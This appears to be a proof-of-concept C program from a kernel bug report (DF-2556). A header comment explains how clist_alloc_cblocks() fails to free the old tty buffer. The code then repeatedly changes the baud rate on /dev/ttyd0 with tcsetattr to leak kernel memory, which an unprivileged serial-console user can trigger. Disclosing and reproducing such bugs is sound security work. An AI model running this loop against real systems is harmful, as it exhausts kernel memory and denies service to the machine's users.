DF-2556 / poc.c
/* * DF-2556 PoC — clist_alloc_cblocks() leaks the previous c_data buffer. * * Bug (sys/kern/tty_subr.c:48-81): * clist_alloc_cblocks() kmalloc()s a new `data` buffer (line 61), copies the * old contents, then overwrites `cl->c_data = data` (line 80) WITHOUT ever * kfree()ing the previous cl->c_data. Every reallocation to a *different* * non-zero size therefore leaks one M_TTYS allocation. The ccmax==0 path * correctly calls clist_free_cblocks(); the ccmax==c_ccmax path returns early; * only the "resize to a different size" path leaks. * * Trigger: TIOCSETA on a tty whose driver sets t_ispeedwat/t_ospeedwat to * (speed_t)-1, so that the baud rate actually changes the computed clist size. * The only in-tree driver that does this is sio (sys/dev/serial/sio/sio.c:2480). * On this guest the sio tty is /dev/ttyd0 (the serial console). A user logged in * on a serial console (their controlling tty) can trigger this unprivileged; * here we run against /dev/ttyd0. * * tty.c:1085 ttsetwater(tp) (called from the TIOCSETA handler) * -> ttsetwater tty.c:2457 clist_alloc_cblocks(&t_rawq, x) (x=ispeed/10+ififosize) * -> ttsetwater tty.c:2489 clist_alloc_cblocks(&t_outq, x) (x=imax(ohiwat,2048)+OBUFSIZ+100, * ohiwat grows with ospeed up to 2*TTMAXHIWAT when ospeedwat==-1) * Alternating the baud rate between a low and a high value makes every * TIOCSETA leak the previous rawq+outq c_data buffers. * * Observable: vmstat -m type "ttys" memory grows monotonically with iterations. * * usage: ./poc [tty-path] [iterations] (defaults: /dev/ttyd0, 40000) */ #include <sys/types.h> #include <sys/ioctl.h> #include <termios.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/dev/ttyd0"; long iters = (argc > 2) ? strtol(argv[2], NULL, 10) : 40000; int fd; fd = open(path, O_RDWR | O_NONBLOCK); if (fd < 0) { perror(path); return 2; } /* drop O_NONBLOCK for ioctl */ int fl = fcntl(fd, F_GETFL); fcntl(fd, F_SETFL, fl & ~O_NONBLOCK); fprintf(stderr, "[+] opened %s; running %ld TIOCSETA resize iterations\n", path, iters); struct termios t; if (tcgetattr(fd, &t) < 0) { perror("tcgetattr"); return 2; } /* two distinct baud rates -> distinct rawq+outq clist sizes -> leak each flip. * sio sets speedwat=(speed_t)-1 in siosetitm once a speed change crosses an * ibufsize boundary; B115200/B9600 give very different cp4ticks -> different * ibufsize/t_ififosize and different ispeed/10 -> rawq ccmax differs. */ speed_t hi = B115200, lo = B9600; for (long i = 0; i < iters; i++) { cfsetispeed(&t, (i & 1) ? lo : hi); cfsetospeed(&t, (i & 1) ? lo : hi); if (tcsetattr(fd, TCSANOW, &t) < 0) { /* tolerate transient EBUSY/EPERM; keep going to keep leaking */ } if ((i % 5000) == 0) fprintf(stderr, "[.] iter %ld\n", i); } fprintf(stderr, "[+] done %ld iterations; check 'vmstat -m' ttys growth\n", iters); close(fd); return 0; } |